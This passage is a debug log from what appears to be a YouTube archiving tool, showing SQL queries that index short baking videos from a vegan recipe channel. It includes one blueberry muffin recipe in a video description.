(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you like blueberries and pie then you need to stay tuned for a full recipe video dropping real soooooon! 🫐🥧", "My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts", "c6733b82-bc79-47e4-9d28-a83257fea81c", 1, [], 11, false, "bvaYJ-u5g4A", "https://www.youtube.com/shorts/bvaYJ-u5g4A", 302, "/downloads/downloads/alec/Steamy Vegan/2022-07-17 My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts/My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts [bvaYJ-u5g4A].NA", false, false, true, 3, ~U[2022-07-17 00:00:19Z], ~U[2026-03-22 03:28:09Z], ~U[2026-03-22 03:28:09Z], "If you like blueberries and pie then you need to stay tuned for a full recipe video dropping real soooooon! 🫐🥧", "My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts", 1, 11, false, "bvaYJ-u5g4A", "https://www.youtube.com/shorts/bvaYJ-u5g4A", "/downloads/downloads/alec/Steamy Vegan/2022-07-17 My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts/My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts [bvaYJ-u5g4A].NA", true, ~U[2022-07-17 00:00:19Z]] 20:28:09.540 [debug] QUERY OK source="sources" db=0.7ms idle=250.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:09.541 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:09.542 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [691] 20:28:09.542 [debug] Current batch of media processed. Will check again in 1000ms 20:28:10.543 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan and gluten free blueberry pie is so delicious and the spoon ain't bad either. I'll have this super easy and quick pie recipe video up in the next few days so subscribe so you don't miss out!\n\nThanks for your support! Janelle", "duration" => 8, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-16 Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts/Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts [WPsiLE5oWlQ].NA", "id" => "WPsiLE5oWlQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/WPsiLE5oWlQ", "playlist_index" => 303, "timestamp" => 1657999807, "title" => "Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts", "upload_date" => "20220716"} 20:28:10.544 [debug] QUERY OK source="sources" db=0.3ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:10.545 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:10.547 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-16 19:30:07Z], 1] 20:28:10.548 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free blueberry pie is so delicious and the spoon ain't bad either. I'll have this super easy and quick pie recipe video up in the next few days so subscribe so you don't miss out!\n\nThanks for your support! Janelle", "Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts", "1d413bf7-2803-41a1-88d3-1fcaea55bd3c", 1, [], 8, false, "WPsiLE5oWlQ", "https://www.youtube.com/shorts/WPsiLE5oWlQ", 303, "/downloads/downloads/alec/Steamy Vegan/2022-07-16 Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts/Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts [WPsiLE5oWlQ].NA", false, false, true, 0, ~U[2022-07-16 19:30:07Z], ~U[2026-03-22 03:28:10Z], ~U[2026-03-22 03:28:10Z], "This vegan and gluten free blueberry pie is so delicious and the spoon ain't bad either. I'll have this super easy and quick pie recipe video up in the next few days so subscribe so you don't miss out!\n\nThanks for your support! Janelle", "Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts", 1, 8, false, "WPsiLE5oWlQ", "https://www.youtube.com/shorts/WPsiLE5oWlQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-16 Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts/Spoon-Licking-Good Pie 🥄 👅 👍🥧#shorts #youtubeshorts [WPsiLE5oWlQ].NA", true, ~U[2022-07-16 19:30:07Z]] 20:28:10.549 [debug] QUERY OK source="sources" db=0.4ms idle=257.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:10.549 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:10.550 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [692] 20:28:10.550 [debug] Current batch of media processed. Will check again in 1000ms 20:28:11.551 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Making a pie can take a long time but with this vegan and gluten free pie recipe I've managed to cut the overall time down drastically. This blueberry pie is super quick and easy to make. The filling takes only 2 minutes and you can either make my simple almond flour pie crust or purchase a store bought pie crust.\n\nSubscribe and stay tuned for the full recipe video dropping in about 4-5 days! Thanks for your support! Janelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-16 This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts/This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts [Ci3WTyVZd20].NA", "id" => "Ci3WTyVZd20", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Ci3WTyVZd20", "playlist_index" => 304, "timestamp" => 1657989001, "title" => "This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts", "upload_date" => "20220716"} 20:28:11.552 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:11.553 [debug] QUERY OK source="sources" db=0.3ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:11.555 [debug] QUERY OK source="media_items" db=2.1ms queue=0.3ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-16 16:30:01Z], 1] 20:28:11.557 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Making a pie can take a long time but with this vegan and gluten free pie recipe I've managed to cut the overall time down drastically. This blueberry pie is super quick and easy to make. The filling takes only 2 minutes and you can either make my simple almond flour pie crust or purchase a store bought pie crust.\n\nSubscribe and stay tuned for the full recipe video dropping in about 4-5 days! Thanks for your support! Janelle", "This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts", "6468ebf2-3c5f-41c3-aea0-9e78fdcea019", 1, [], 11, false, "Ci3WTyVZd20", "https://www.youtube.com/shorts/Ci3WTyVZd20", 304, "/downloads/downloads/alec/Steamy Vegan/2022-07-16 This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts/This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts [Ci3WTyVZd20].NA", false, false, true, 1, ~U[2022-07-16 16:30:01Z], ~U[2026-03-22 03:28:11Z], ~U[2026-03-22 03:28:11Z], "Making a pie can take a long time but with this vegan and gluten free pie recipe I've managed to cut the overall time down drastically. This blueberry pie is super quick and easy to make. The filling takes only 2 minutes and you can either make my simple almond flour pie crust or purchase a store bought pie crust.\n\nSubscribe and stay tuned for the full recipe video dropping in about 4-5 days! Thanks for your support! Janelle", "This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts", 1, 11, false, "Ci3WTyVZd20", "https://www.youtube.com/shorts/Ci3WTyVZd20", "/downloads/downloads/alec/Steamy Vegan/2022-07-16 This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts/This Blueberry Pie is Easy As Pie to Make👍vegan and gluten free too! 🤤🫐🥧#shorts #youtubeshorts [Ci3WTyVZd20].NA", true, ~U[2022-07-16 16:30:01Z]] 20:28:11.558 [debug] QUERY OK source="sources" db=0.3ms idle=263.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:11.559 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:11.560 [debug] QUERY OK source="media_items" db=0.7ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [693] 20:28:11.560 [debug] Current batch of media processed. Will check again in 1000ms 20:28:12.561 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "My vegan and gluten free blueberry pie is in the oven and I'm so excited to see how it turns out! Subscribe and check out the full recipe video coming in the next few days. Thanks for your support! Janelle", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-16 The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero/The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero [MaJXKmRYstE].NA", "id" => "MaJXKmRYstE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/MaJXKmRYstE", "playlist_index" => 305, "timestamp" => 1657931327, "title" => "The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero", "upload_date" => "20220716"} 20:28:12.562 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:12.563 [debug] QUERY OK source="sources" db=0.4ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:12.565 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-16 00:28:47Z], 1] 20:28:12.567 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My vegan and gluten free blueberry pie is in the oven and I'm so excited to see how it turns out! Subscribe and check out the full recipe video coming in the next few days. Thanks for your support! Janelle", "The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero", "51e434cc-dddf-4f26-a9e0-8265bb1bc8f4", 1, [], 10, false, "MaJXKmRYstE", "https://www.youtube.com/shorts/MaJXKmRYstE", 305, "/downloads/downloads/alec/Steamy Vegan/2022-07-16 The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero/The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero [MaJXKmRYstE].NA", false, false, true, 2, ~U[2022-07-16 00:28:47Z], ~U[2026-03-22 03:28:12Z], ~U[2026-03-22 03:28:12Z], "My vegan and gluten free blueberry pie is in the oven and I'm so excited to see how it turns out! Subscribe and check out the full recipe video coming in the next few days. Thanks for your support! Janelle", "The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero", 1, 10, false, "MaJXKmRYstE", "https://www.youtube.com/shorts/MaJXKmRYstE", "/downloads/downloads/alec/Steamy Vegan/2022-07-16 The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero/The beginning of my pie’s heroic journey …to my belly🫐🥧🤤#shorts #youtubeshorts #superhero [MaJXKmRYstE].NA", true, ~U[2022-07-16 00:28:47Z]] 20:28:12.568 [debug] QUERY OK source="sources" db=0.7ms idle=270.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:12.569 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:12.569 [debug] QUERY OK source="media_items" db=0.5ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [694] 20:28:12.570 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🫐 Celebrate blueberry season with these Cardamom Blueberry Muffins! 🫐 I've made them vegan and gluten-free and I absolutely love them!!! Recipe below...\n\nSAVE THIS RECIPE ✔️and SUBSCRIBE for more! I'll be launching a full recipe video next week for these!\n\nINGREDIENTS:\n1.5 cups fresh whole blueberries\n2 cups gluten-free all-purpose flour (use plain or whole wheat if not gluten-free)\n2.5 tsp baking powder\n1/2 tsp baking soda\n1/2 tsp salt\n1/2 tsp xanthan gum\n2 tsp cardamom\n3 tbsp melted vegan butter\n4 tbsp coconut sugar\n1 tsp vanilla extract\n2 flax eggs (2 tbsp ground flax + 6 tbsp water, let sit for 10 min)\n1 1/4 cup vanilla coconut yogurt\n1/4 cup non-dairy milk\nTurbinado sugar for garnish\n\nInto a large bowl sift in your flour, baking powder and soda, salt, cardamom and coconut sugar until no lumps remain. Whisk until well combined and fluffy. \nTo another bowl, add your nondairy vanilla yogurt, flax egg, melted vegan butter or coconut oil, nondairy milk, and vanilla extract and whisk until it’s a thick, well combined mixture. Pour into the dry ingredients and mix together until the batter has just started to combine. \n\nToss your fresh blueberries in a tablespoon of tapioca/cornstarch and slowly mix them into the batter. \n\nLine your muffin tin with parchment liners or with a spritz of baking spray and fill them up until just above the liner. Give each muffin a sprinkle of turbinado sugar and bake for 30 mins @ 350ºF. ENJOY! \n\nCheck out my other muffin recipes below! 👇🏻\nAPPLE MATCHA ZUCCHINI MUFFINS: https://youtu.be/rbgmMCjH64o\nTURMERIC GINGER MUFFINS: https://youtube.com/shorts/xGgou0Oyv_w?feature=share", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-15 The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts/The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts [bOndE1xhA6Q].NA", "id" => "bOndE1xhA6Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bOndE1xhA6Q", "playlist_index" => 306, "timestamp" => 1657915215, "title" => "The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts", "upload_date" => "20220715"} 20:28:12.570 [debug] QUERY OK source="sources" db=0.5ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:12.571 [debug] QUERY OK source="sources" db=0.5ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", 